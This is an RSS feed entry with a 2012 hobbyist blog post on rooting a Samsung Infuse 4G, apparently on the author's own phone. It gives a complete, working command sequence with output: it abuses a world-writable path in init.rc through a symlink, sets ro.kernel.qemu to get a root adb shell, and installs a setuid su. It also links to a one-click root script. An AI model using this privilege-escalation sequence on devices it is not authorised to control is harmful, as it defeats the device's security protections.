		<link>http://www.poppopret.org/?p=22</link>
		<comments>http://www.poppopret.org/?p=22#comments</comments>
		<pubDate>Tue, 03 Jan 2012 01:49:30 +0000</pubDate>
		<dc:creator>mncoppola</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://0x3c.org/?p=22</guid>
		<description><![CDATA[I received a Samsung Infuse 4G this year for Christmas, and one of the first questions I had was how to let this bad boy run free.  Doing a little searching around, it looked like the device was already rootable &#8230; <a href="http://www.poppopret.org/?p=22">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I received a Samsung Infuse 4G this year for Christmas, and one of the first questions I had was how to let this bad boy run free.  Doing a little searching around, it looked like the device was already rootable by the <a href="http://stealth.openwall.net/xSports/RageAgainstTheCage.tgz">RageAgainstTheCage</a> exploit by the Android Exploid Crew, but of course using an already-written, pre-compiled exploit is too boring.</p>
<p>Note, before we even begin, the device should be placed into USB debugging mode so we can interact with it from a shell (via the ADB &#8211; Android Debug Bridge).</p>
<p>After some snooping around, I noticed that the device was vulnerable to a flaw similar to the ones <a href="http://www.vulnfactory.org/" target="_blank">Dan Rosenberg</a> found with the Droid 3 and Admire.  In the init.rc script (which is run at startup as root), we see the following command:</p>
<pre># Permission for WMDRM sample.hds file
chmod 0777  /data/data/.drm/.wmdrm/sample.hds</pre>
<p>The sample.hds file doesn&#8217;t actually exist, but that fact is irrelevant to the situation.  The interesting thing here is that the .wmdrm directory is also 0777, so we have full control over its contents.  Let&#8217;s create a symlink to /data where sample.hds is supposed to be and reboot:</p>
<pre>$ ln -s /data /data/data/.drm/.wmdrm/sample.hds
$ ls -l /data/data/.drm/.wmdrm/sample.hds
lrwxrwxrwx shell    shell             2012-01-02 20:13 sample.hds -&gt; /data
$ exit
sh-4.1$ ./adb reboot
sh-4.1$ ./adb shell
$ ls -l
drwxrwx--x system   system            2012-01-02 20:14 dbdata
dr-x------ root     root              2012-01-02 20:14 config
drwxrwx--- system   cache             2012-01-02 20:14 cache
drwxrwx--x radio    radio             2012-01-02 20:14 efs
lrwxrwxrwx root     root              2012-01-02 20:14 sdcard -&gt; /mnt/sdcard
drwxr-xr-x root     root              2012-01-02 20:14 acct
drwxrwxr-x root     system            2012-01-02 20:14 mnt
lrwxrwxrwx root     root              2012-01-02 20:14 d -&gt; /sys/kernel/debug
lrwxrwxrwx root     root              2012-01-02 20:14 etc -&gt; /system/etc
drwxr-xr-x root     root              2012-01-02 20:14 system
drwxrwxrwx system   system            2012-01-02 20:14 data
drwxr-xr-x root     root              1969-12-31 19:00 sys
drwxr-xr-x root     root              2011-08-03 23:33 modules
dr-xr-xr-x root     root              1969-12-31 19:00 proc
drwxr-xr-x root     root              2012-01-02 20:14 dev
-rwxr-xr-x root     root        12127 2010-08-12 10:06 recovery.rc
-rwxr-xr-x root     root          945 2010-08-27 09:41 lpm.rc
-rw-r--r-- root     root        25100 2011-03-17 02:00 init.rc
drwxr-xr-x root     root              2011-08-03 23:33 res
drwxr-xr-x root     root              2011-08-03 23:33 lib
drwxr-xr-x root     root              2011-08-03 23:33 sbin
-rw-r--r-- root     root          118 2011-08-03 23:13 default.prop
-rw-r--r-- root     root         1677 2010-07-06 15:13 init.goldfish.rc
-rw-r--r-- root     root         2378 2010-12-14 23:01 fota.rc
-rwxr-xr-x root     root          379 2010-05-28 03:06 init.smdkc110.rc
-rwxr-xr-x root     root       133016 2011-08-03 23:19 init
$</pre>
<p>Our symlink was followed, and now the /data directory is 0777!  From here we&#8217;ll create a /data/local.prop file with a configuration setting to not drop privileges when spawning a shell:</p>
<pre>$ echo ro.kernel.qemu=1 &gt; /data/local.prop
$ exit
sh-4.1$ ./adb reboot
sh-4.1$</pre>
<p>After restarting, the phone refuses to boot and vibrates a bunch due to parsing the <em>ro.kernel.qemu</em> property.  We told the device it was running in an emulator when it&#8217;s actually still running on hardware, leading to confusion.  However, we are still able to spawn a shell with adb:</p>
<pre>sh-4.1$ ./adb shell
# id
uid=0(root) gid=2000(shell) groups=1007(log)
#</pre>
<p>Success!  For persistence, we&#8217;ll follow the typical song and dance and copy over some binaries and install the Superuser app:</p>
<pre># mount -o rw,remount /dev/stl9 /system
# exit
sh-4.1$ ./adb push su /system/bin
233 KB/s (26264 bytes in 0.109s)
sh-4.1$ ./adb push busybox /system/bin
500 KB/s (1867568 bytes in 3.646s)
sh-4.1$ ./adb install Superuser.apk
449 KB/s (196521 bytes in 0.427s)
    pkg: /data/local/tmp/Superuser.apk
^C
sh-4.1$ ./adb shell
# chmod 4755 /system/bin/su /system/bin/busybox
#</pre>
<p>Clean up our files and reboot the device:</p>
<pre># rm /data/local.prop
# rm /data/data/.drm/.wmdrm/sample.hds
# reboot
sh-4.1$</pre>
<p>Running `su` in the adb shell, as well as apps for rooted phones, will now prompt the user (on the phone itself) to grant root privileges to the process.  This selection can be remembered for future use.</p>
<p>A one-click root script for Linux is available here: <a href="http://www.poppopret.org/dl/Infuse4G-root.tgz">http://www.poppopret.org/dl/Infuse4G-root.tgz</a> .  If this exploit works for other phones, contact me and I&#8217;ll update the post.</p>
<p>Thanks to Dan Rosenberg for his tips and guidance throughout the process.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.poppopret.org/?feed=rss2&#038;p=22</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
